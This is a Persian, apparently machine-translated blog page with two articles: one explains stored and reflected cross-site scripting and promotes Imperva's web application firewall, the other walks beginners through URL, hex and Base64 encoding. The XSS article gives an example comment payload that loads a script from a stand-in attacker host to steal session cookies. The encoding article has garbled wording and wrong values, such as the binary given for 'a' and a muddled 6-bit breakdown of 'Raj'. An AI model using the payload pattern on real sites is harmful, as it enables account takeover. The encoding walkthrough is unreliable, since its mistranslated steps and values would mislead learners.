Hoonarjo 2.jpgس 750x480 - حمله به اسکریپت نویسی سایت (XSS)

حمله به اسکریپت نویسی سایت (XSS)

اسکریپت نویسی سایت متقاطع (XSS) چیست؟

اسکریپت نویسی یا برنامه نویسی (Cross Site XSS) یک بردار حمله متداول است که کدهای مخرب را به یک برنامه وب آسیب پذیر تزریق می کند. XSS با سایر بردارهای حمله وب (مانند تزریق SQL) متفاوت است ، به این دلیل که مستقیماً برنامه مورد نظر خود را هدف قرار نمی دهد. درعوض ، کاربران برنامه وب کسانی هستند که در معرض خطر هستند.

یک حمله موفقیت آمیز در زمینه نگارش در سایت ، می تواند عواقب مخربی برای شهرت یک کسب و کار آنلاین و ارتباط آن با مشتریان خود داشته باشد.

بسته به شدت حمله ، ممکن است حسابهای کاربر به خطر بیفتد ، برنامه اسب Trojan فعال شود و محتوای صفحه تغییر یابد ، کاربران را گمراه می کند تا با اراده شخصی اطلاعات شخصی خود را تسلیم کنند. سرانجام ، کوکی های جلسه می توانند فاش شوند و به یک عامل متهم می شود تا کاربران معتبر را جعل کند و از حساب های خصوصی خود سوء استفاده کند.

بیشتربخوانید >>‌ سرور Origin چیست؟ 

حملات اسکریپت کراس سایت می تواند به دو نوع تقسیم شود: ذخیره شده و منعکس شده.

ذخیره شده XSS ، همچنین به عنوان XSS مداوم شناخته می شود ، آسیب بیشتری به این دو می زند. این اتفاق می افتد وقتی یک اسکریپت مخرب مستقیماً به یک برنامه وب آسیب پذیر تزریق می شود.

بازتاب XSS شامل بازتاب یک اسکریپت مخرب از یک برنامه وب ، بر روی مرورگر کاربر است. اسکریپت در یک پیوند تعبیه شده است و فقط پس از کلیک بر روی این لینک فعال می شود.

برنامه نویسی متقاطع ذخیره شده چیست؟ 

برنامه نویسی متقاطع ذخیره شده چیست؟ 

برای انجام موفقیت آمیز یک حمله ذخیره شده XSS ، یک مرتکب مجبور است یک آسیب پذیری را در یک برنامه وب پیدا کند و سپس اسکریپت های مخرب را به سرور خود تزریق کند (به عنوان مثال ، از طریق یک قسمت نظر).

یکی از هدفهای متداول وب سایتهایی هستند که به کاربران امکان اشتراک گذاری مطالب را از جمله وبلاگ ها ، شبکه های اجتماعی ، سیستم عامل های اشتراک گذاری ویدیو و تابلوهای پیام را می دهد. هر بار که صفحه آلوده مشاهده می شود ، اسکریپت مخرب به مرورگر قربانی منتقل می شود.

به عنوان مثال حمله ذخیره شده XSS

مرتکب هنگام مرور یک وب سایت تجارت الکترونیکی ، یک آسیب پذیری را کشف می کند که باعث می شود برچسب های HTML در بخش نظرات سایت تعبیه شوند. برچسب های تعبیه شده به یک ویژگی دائمی صفحه تبدیل می شوند و باعث می شوند مرورگر هر بار که صفحه باز می شود ، آنها را با بقیه منبع منبع تجزیه کند.

مهاجم نظر زیر را اضافه می کند: قیمت عالی برای کالای عالی! نقد و بررسی من را اینجا بخوانید src \u003d ‘http://hackersite.com/authstealer.js’ / اسکریپت.

از این نقطه به بعد ، هر بار که به این صفحه دسترسی پیدا کنید ، برچسب HTML موجود در نظر ، پرونده JavaScript را که در یک سایت دیگر میزبانی شده است ، فعال می کند و این قابلیت را دارد که کوکی های جلسه بازدید کنندگان را سرقت کند.

.jpg - حمله به اسکریپت نویسی سایت (XSS)

با استفاده از کوکی جلسه ، مهاجم می تواند حساب بازدید کننده را به خطر بیاندازد و به وی دسترسی آسان به اطلاعات شخصی و اطلاعات کارت اعتباری خود را بدهد. در همین حال ، بازدید کننده ، که ممکن است هرگز حتی به بخش نظرات پایین نوردد ، آگاهی ندارد که این حمله رخ داده است.

برخلاف حمله منعکس شده ، در جایی که فیلمنامه پس از کلیک روی یک لینک فعال می شود ، حمله ذخیره شده فقط نیاز دارد که قربانی از صفحه وب به خطر بیافتد. این میزان دسترسی را افزایش می دهد و همه بازدید کنندگان را بدون توجه به سطح هوشیاری آنها به خطر می اندازد.

از نظر مرتکب ، حملات مداوم XSS به دلیل مشکل در یافتن وب سایت قاچاق شده و آسیب پذیری هایی که امکان تعبیه اسکریپت دائمی را دارند ، انجام نسبتاً سخت تر است.

پیشگیری / کاهش حمله XSS ذخیره شده

.jpg - حمله به اسکریپت نویسی سایت (XSS)

فایروال برنامه وب (WAF) متداول ترین راه حل برای محافظت در برابر حملات XSS و برنامه های وب است.

WAF ها از روشهای مختلفی برای مقابله با بردارهای حمله استفاده می کنند. در مورد XSS ، بیشتر برای شناسایی و مسدود کردن درخواست های مخرب به فیلترهای مبتنی بر امضا متکی هستند.

مطابق با بهترین شیوه های صنعت ، فایروال برنامه وب ابری Imperva از فیلتر امضا نیز برای مقابله با حملات اسکریپت کراس سایت استفاده می کند.

Imperva cloud WAF به عنوان یک سرویس مدیریت شده ارائه می شود ، که به طور مرتب توسط تیمی از کارشناسان امنیتی که دائماً قانون امنیتی را با امضاهای بردارهای حمله تازه کشف شده به روز می کنند ، ارائه می شود.

فن آوری کلاچینگ Imperva بطور خودکار داده ها را از طریق شبکه خود جمع می کند و به سود کلیه مشتریان حمله می کند.

رویکرد شلوغی ، پاسخ سریع را به تهدیدات روز صفر می دهد ، و به محض شناسایی یک حمله تک ، تمام جامعه کاربران را در برابر هرگونه تهدید جدید محافظت می کند.

Crowdsourcing همچنین استفاده از سیستم شهرت IP را امکان پذیر می کند که متخلفین مکرر ، از جمله منابع بات نت را که مجدداً توسط مجرمین متعدد مورد استفاده مجدد قرار می گیرند ، مسدود می کند.

منبع

Hoonarjo 2.jpgس 750x480 - راهنمای درک رمزگذاری برای افراد مبتدی

راهنمای درک رمزگذاری برای افراد مبتدی

درک رمزگذاری

در این مقاله نوع متفاوتی از فرآیند در رمزگذاری داده ها توضیح داده می شود. اصطلاح داده های رمزگذاری شده به معنای داده های پیچیده شده است و فرایند رمزگذاری برای تبدیل داده ها به فرمت متفاوت استفاده می شود تا با انواع مختلفی از سیستم به راحتی قابل درک باشد.

به عنوان مثال ، کاراکترهای ASCII با استفاده از اعداد رمزگذاری می شوند: A با ۶۵ نمایش داده می شود ، جایی که به عنوان ‘B’ با ۶۶ و…

از آنجا که می دانیم رایانه زبانهای انسانی را درک نمی کند ، بنابراین باید داده ها را به زبانی باینری رمزگذاری کنیم که توسط سیستمهای رایانه ای به راحتی قابل خواندن است از این رو رمزگذاری بسیار مهم است. این برنامه از چنین طرح هایی استفاده می کند که به طور گسترده ای در دسترس است تا بتوان به سادگی کاراکتر ها را معکوس کرد. رمزگذاری به معنای تبدیل داده است ، نه رمزگذاری داده ها و در نتیجه نیازی به رمز در رمزگشایی ندارد.

URL رمزگذاری شده 

اینترنت فقط URL را با فرمت ASCII می پذیرد ، کدگذاری URL مستلزم رمزگذاری قسمت خاصی از مجموعه شخصیت های URL است. این فرآیند یک کاراکتر را می گیرد و آن را به یک سه گانه کاراکتر تبدیل می کند که دارای پیشوند ‘٪’ است و پس از آن دو رقم در قالب شش ضلعی قرار می گیرد.

رمزگذاری URL

مثال :

URL اصلی: https://www.hackingarticles.in

URL رمزگذاری شده: http٪ ۳A٪ ۲F٪ ۲Fwww.hackingarticles.in

شش ضلعی
Hexadecimal یا Base 16 یک سیستم عدد موقعیتی است که از ۱۶ علامت متمایز تشکیل شده است که از عدد ۰ تا ۹ عدد و هر دو الفبای بزرگ و کوچک که از A تا F متغیر است تشکیل شده و مقادیر عددی ۱۰ تا ۱۵ را نشان می دهد.

مرحله ۱ – برای بدست آوردن مقدار اعشار یک الفبای است ، این برای هر دو مورد بزرگ و کوچک متفاوت است ، به عنوان مثال: A = 65 و a = 97. برای یافتن مقدار هر الفبای ، ما آن را از  ”A” یا “a” ، حساب می کنیم مقادیر به صورت متوالی یک رقمی هستند ، به عنوان مثال: A = 65 B = 66 C = 67 و … / a = 97 b = 98 c = 99 و …

مرحله ۲ – برای تبدیل از اعشار به شش ضلعی ، مقدار اعشاری را برداشته و آن را بر ۱۶ تقسیم می کنیم بنابراین مقدار هگز ۹۷ برابر ۶۱ خواهد بود.

به عنوان مثال:

رمزگذاری URL

Base64

هر رقم base64 دقیقاً ۶ بیت داده را نشان می دهد. این یک رشته radix-64 از رشته ASCII است ، در اینجا چگونه می توانیم آن را بدست آوریم؟

بیشتر بخوانید >>‌ نحوه نمایش توییت های اخیر در وردپرس با ابزارک های توییتر

مرحله ۱ – برای بدست آوردن مقدار اعشار یک الفبای است ، این برای هر دو مورد بزرگ و کوچک متفاوت است ، به عنوان مثال: A = 65 و a = 97. برای یافتن مقدار هر الفبای ، ما آن را ازA ‘یا’ a ‘  حساب می کنیم. ، مقادیر به صورت متوالی یک رقمی هستند ، به عنوان مثال: A = 65 B = 66 C = 67 و غیره / a = 97 b = 98 c = 99 و غیره.

مرحله ۲ – تقسیم عدد اعشاری بر ۲ است ، جایی که مقسوم علیه وجود دارد به عنوان ‘۱’ مشخص می شود و هرجا که باقی مانده ‘۰’ باشد ، به عنوان ‘۰’ مشخص می شود ، ادامه تقسیم کنید تا به ۰ برسید. یا ۱ و دیگر نمی تواند تقسیم کند. مقدار باینری تعداد ۱ و ۰ علامت گذاری شده از آخرین تا اول خواهد بود.

به عنوان مثال: برای بدست آوردن یک مقدار ۸ بیتی ، پیشوند ‘۰’ را به مقدار می دهیم ، به عنوان مثال: ۰۱۰۱۰۰۱۰ و این مقدار دودویی ‘a’ را به ما می دهد.

Untitled 2.jpg33333333 - راهنمای درک رمزگذاری برای افراد مبتدی

مرحله ۳ – مقادیر تمام شخصیت ها را به صورت باینری بنویسید و جفت های ۶ (۶ بیتی) را ایجاد کنید ، به عنوان مثال: مقدار باینری ‘Raj’ در ۸ بیتی = ۰۱۰۱۰۰ ۱۰۰۱۱۰ ۰۰۰۱۰۱ ، مقدار باینری ‘Raj’ در ۶ بیتی. = ۰۱۰۱۰۰ ۱۰۰۱۱۰ ۰۰۰۱۰۱ ۱۰۱۰۱۰٫

مرحله ۴ – مقدار اعشاری ۶ بیتی از جفت هایی که در مرحله ۳ ایجاد می کنیم را بنویسید و تمام مقادیر را در جایی که ۱ داریم اضافه کنید

رمزگذاری URL

مرحله ۵ – از جدول Base64 برای جستجوی مقادیر موجود در مرحله ۴ استفاده کنید.

جدول فهرست Base64:

رمزگذاری URL

مقدار رمزگذاری شده Base64. Raj از UmFq است. کدگذاری شده در ASCII ، شخصیت های R ، a و j به عنوان مقادیر اعشاری ۸۲ ، ۹۷ و ۱۰۶ ذخیره می شوند ، مقادیر باینری ۸ بیتی آنها ۰۱۰۱۰۰۱۰ ، ۰۱۱۰۰۰۰۱ و ۰۱۱۰۱۰۱۰ است. این سه مقدار در یک رشته ۲۴ بیتی جمع می شوند. گروه های ۶ نفره از چپ به راست به شماره های فردی تبدیل می شوند. هنگام تبدیل از ۸ بیتی به ۶ بیتی ، ۰ را برای پر کردن آخرین شکاف ها اضافه می کنیم ، به این ترتیب یک جفت کامل ۶ عدد ایجاد می شود.

تبدیل کامل ‘Raj’ به Base64 در جدول ۱٫۱ نشان داده شده است و تبدیل فردی ‘R’ و ‘Ra’ از ‘Raj’ در جداول ۱٫۱ و ۱٫۲ نشان داده شده است تا بتواند روند کار را با توضیح توضیح دهد.

Raj                                                                              ۸۲ ۹۷ ۱۰۶                                                                ۰۱۰۱۰۰۱۰ ۰۱۱۰۰۰۰۱ ۰۱۱۰۱۰۱۰

در جدول ۱٫۲ ، برای شخصیت ‘R’ ‘Raj’ مقادیر موجود در الگوی Bit در قالب ۸ بیتی قرار گرفته و به ۶ بیتی تبدیل می شوند و مقدار اعشاری جفت های ۶ بیتی در این فهرست قرار دارند. 

همین روند در جدول ۱٫۳ برای شخصیت های ‘R’ و ‘a’ ‘Raj’ تکرار می شود.

برای هر جفت ۰ اضافی اضافه شده برای تکمیل یک جفت ۶ ، ‘=’ برای هر جفت اضافه می شود ، بنابراین مقدار ACHII ‘0 0’ ” است.

در جدول ۱٫۴ برای ساخت بیشتر در منطق به کار رفته در جدول ۱٫۲ و ۱٫۳ ، ‘Raaj’ در Base64 به ‘UmFhag ==’ تبدیل می شود ، با افزودن ‘a’ اضافی ، پیچیدگی تبدیل افزایش می یابد. در Indexsection می توانیم به دلیل تغییر در الگوی بیت ، افزونه ای از ۳۳ ، ۲۶ و ۳۲ را مشاهده کنیم.

برای هر جفت ۰ مورد اضافی که برای تکمیل یک جفت ۶ اضافه شده است ، ‘=’ برای هر جفت اضافه می شود ، بنابراین مقدار ACHII ‘0 0’ مانند ‘در جدول ۱٫۲ و ۱٫۳’ ‘=’ است.

منبع 

منبع: hackingarticles.in